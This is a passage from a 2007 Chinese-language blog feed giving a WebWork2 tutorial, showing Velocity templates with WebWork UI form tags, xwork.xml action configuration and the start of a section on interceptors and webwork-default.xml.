<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">Hello, $person </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span>（</span><span><font face=Century>3</font></span><span>）在</span><span><font face=Century>Velocity</font></span><span>中使用</span><span><font face=Century>WebWork</font></span><span>标记</span></p>
<p><span>使用</span><span><font face=Century>Velocity</font></span><span>模板替代</span><span><font face=Century>JSP</font></span><span>标记，会失去使用</span><span><font face=Century>JSP</font></span><span>标记的能力。然而，</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>Velocity Servlet</font></span><span>提供了一种在</span><span><font face=Century>Velocity</font></span><span>模板中使用</span><span><font face=Century>JSP</font></span><span>标记的方法：使用</span><span><font face=Century>#tag</font></span><span>、</span><span><font face=Century>#bodytag</font></span><span>和</span><span><font face=Century>#param Velocimacros</font></span><span>。下面是通用语法：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">#tag (name-of-tag list-of-attributes)</font></font></span></pre>
</div>
<p><span>或：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">#bodytag (name-of-tag list-of-attributes)</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#param (key value)</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#param (key value)</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">...</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#end</font></font></span></pre>
</div>
<p><span>下面的例子使用</span><span><font face=Century>Velocity</font></span><span>实现</span><span><font face=Century>4.1.1</font></span><span>节中示范</span><span><font face=Century>UI</font></span><span>标记用法的例子：</span></p>
<p><span><font face=Century>xwork.xml</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Default interceptor stack. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;default-interceptor-ref name="defaultStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Actions: Lesson 4.2: FormProcessingAction using Velocity. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="formProcessingVelocityIndex" class="lesson04_02.FormProcessingIndexAction"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="velocity"&gt;ex02-index.vm&lt;/result&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="formProcessingVelocity" class="lesson04_01_01.FormProcessingAction"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="input" type="velocity"&gt;ex02-index.vm&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="velocity"&gt;ex02-success.vm&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="validationWorkflowStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>ex02-index.vm</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 4.2 - Example 2&lt;/title&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;style type="text/css"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;</span>.errorMessage { color: red; } </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/style&gt;<span>&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;UI Form Tags Example using Velocity:&lt;/p&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#bodytag (Form "action='formProcessingVelocity.action'" "method='post'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Checkbox "name='checkbox'" "label='A checkbox'" "fieldValue='checkbox_value'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (File "name='file'" "label='A file field'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Hidden "name='hidden'" "value='hidden_value'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Label "label='A label'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Password "name='password'" "label='A password field'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Radio "name='radio'" "label='Radio buttons'" "list={'One', 'Two', 'Three'}") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Select "name='select'" "label='A select list'" "list={'One', 'Two', 'Three'}" </font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>"emptyOption=</span><span><span><font color=#000066>true</font></span></span><span>") </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Textarea "name='textarea'" "label='A text area'" "rows='3'" "cols='40'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (TextField "name='textfield'" "label='A text field'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#tag (Submit "value='Send Form'") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#end </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>ex02-success.vm</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial Lesson 4.2 - Example 2&lt;/title&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;UI Form Tags Example result using Velocity:&lt;/p&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;ul&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;checkbox: $!checkbox&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;file: $!file&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;hidden: $!hidden&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;password: $!password&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;radio: $!radio&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;select: $!select&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;textarea: $!textarea&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;li&gt;textfield: $!textfield&lt;/li&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/ul&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><font face=Century><span>FormProcessingAction</span><span>.java</span></font><span>：（同</span><span><font face=Century>4.1.1</font></span><span>节的例子）</span></p>
<p><font face=Century><span>FormProcessingAction</span><span>-validation.xml</span></font><span>：（同</span><span><font face=Century>4.1.1</font></span><span>节的例子）</span></p>
<p><span>下面的例子使用</span><span><font face=Century>Velocity</font></span><span>实现</span><span><font face=Century>4.1.1</font></span><span>节中自定义组件的例子，注意</span><span><font face=Century>#param</font></span><span>的用法：</span></p>
<p><span><font face=Century>ex03.vm</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 4.2 - Example 3&lt;/title&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;Custom Component Example:&lt;/p&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#bodytag (Component "template=/files/templates/components/datefield.vm") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#param ("label" "Date") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#param ("name" "mydatefield") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#param ("size" "3") </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">#end </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/p&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>/files/templates/components/datefield.vm</font></span><span>：<span>（同</span></span><span><font face=Century>4.1.1</font></span><span>节的例子）</span></p>
<p><span><font face=Century>&nbsp;</font></span></p>
<p><span><font face=Century>4.3</font></span><span>、在</span><span><font face=Century>WebWork</font></span><span>中使用</span><span><font face=Century>Freemaker</font></span><span>（略）</span></p>
<img src ="http://www.blogjava.net/junky/aggbug/126719.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:39 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126719.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）(5)(完）</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126718.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:38:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126718.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126718.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126718.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126718.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126718.html</trackback:ping><description><![CDATA[<p><span><font face=Century>5</font></span><span>、</span><span><font face=Century>Interceptors</font></span></p>
<p><span><font face=Century>Interceptors</font></span><span>允许在调用堆栈中包含任意在</span><span><font face=Century>Action</font></span><span>处理之前和</span><span><font face=Century>/</font></span><span>或处理之后执行的代码。这是你的代码简单，更能重用。</span><span><font face=Century>Xwork</font></span><span>和</span><span><font face=Century>WebWork</font></span><span>的大部分特性都是</span><span><font face=Century>Interceptors</font></span><span>实现的。你可以通过外部配置，按照你定义的顺序，对指定的</span><span><font face=Century>Action</font></span><span>应用你自己的</span><span><font face=Century>Interceptors</font></span><span>。</span></p>
<p><span>当你访问</span><span><font face=Century>.action URL</font></span><span>时，</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>ServletDispatcher</font></span><span>启动</span><span><font face=Century>Action</font></span><span>对象，在</span><span><font face=Century>Action</font></span><span>被执行之前，启动允许被其它的对象中断，这就称</span><span><font face=Century>Interceptor</font></span><span>。在指定的</span><span><font face=Century>Action</font></span><span>之前（或之后）执行</span><span><font face=Century>Interceptor</font></span><span>，只要在</span><span><font face=Century>xwork.xml</font></span><span>中配置属性。下面是</span><span><font face=Century>4.1.1</font></span><span>节中展示</span><span><font face=Century>UI</font></span><span>标记用法的例子的</span><span><font face=Century>Interceptor</font></span><span>配置：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;action name="formProcessing" class="lesson04_01_01.FormProcessingAction"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="input" type="dispatcher"&gt;ex01-index.jsp&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="dispatcher"&gt;ex01-success.jsp&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;interceptor-ref name="validationWorkflowStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/action&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>FormProcessingAction</font></span><span>使用了</span><span><font face=Century>validationWorkflowStack</font></span><span>。这是一个</span><span><font face=Century>Interceptor</font></span><span>堆，组织一组按顺序执行的</span><span><font face=Century>Interceptors</font></span><span>。</span><span><font face=Century>ValidationWorkflowStack</font></span><span>在</span><span><font face=Century>webwork-default.xml</font></span><span>中配置，所以我们只要使用</span><span><font face=Century>&lt;interceptor-ref /&gt;</font></span><span>在</span><span><font face=Century>Action</font></span><span>配置中，或使用</span><span><font face=Century>&lt;default-interceptor-ref /&gt;</font></span><span>在</span><span><font face=Century>package</font></span><span>配置中使用它。下面是</span><span><font face=Century>HelloWebWorld</font></span><span>例子的</span><span><font face=Century>Interceptor</font></span><span>配置：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Default interceptor stack. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;default-interceptor-ref name="defaultStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Action: Lesson 03: HelloWebWorldAction. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="helloWebWorld" class="lesson03.HelloWebWorldAction"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="dispatcher"&gt;ex01-success.jsp&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span>看一下</span><span><font face=Century>Interceptor</font></span><span>如何工作的</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>创建</span><span><font face=Century>Interceptor</font></span><span>类，需要扩展</span><span><font face=Century>com.opensymphony.xwork.interceptor.Interceptor</font></span><span>接口（包含在</span><span><font face=Century>xwork-1.0.jar</font></span><span>）；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>在</span><span><font face=Century>xwork.xml</font></span><span>文件中，使用</span><span><font face=Century>&lt;interceptors /&gt;</font></span><span>内嵌的</span><span><font face=Century>&lt;interceptor /&gt;</font></span><span>声明</span><span><font face=Century>Interceptor</font></span><span>类；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>使用</span><span><font face=Century>&lt;interceptor-stack /&gt;</font></span><span>创建</span><span><font face=Century>Interceptor</font></span><span>堆（可选）；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>使用</span><span><font face=Century>&lt;interceptor-ref /&gt; </font></span><span>或</span><span><font face=Century>&lt;default-interceptor-ref /&gt;</font></span><span>哪些</span><span><font face=Century>Interceptor</font></span><span>由哪个</span><span><font face=Century>Action</font></span><span>使用；前者由指定</span><span><font face=Century>Action</font></span><span>使用，后者为所有</span><span><font face=Century>Action</font></span><span>使用</span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）</span><font face=Century><span>webwork-default.xml</span></font></p>
<p><span>让我们看一下</span><span><font face=Century>webwork-default.xml</font></span><span>的内容：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-types&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-type name="dispatcher" default="true"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.dispatcher.ServletDispatcherResult"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-type name="redirect" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.dispatcher.ServletRedirectResult"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-type name="velocity" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.webwork.dispatcher.VelocityResult"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-type name="chain" </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.ActionChainResult"/&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result-type name="xslt" </font></font></span></pre>
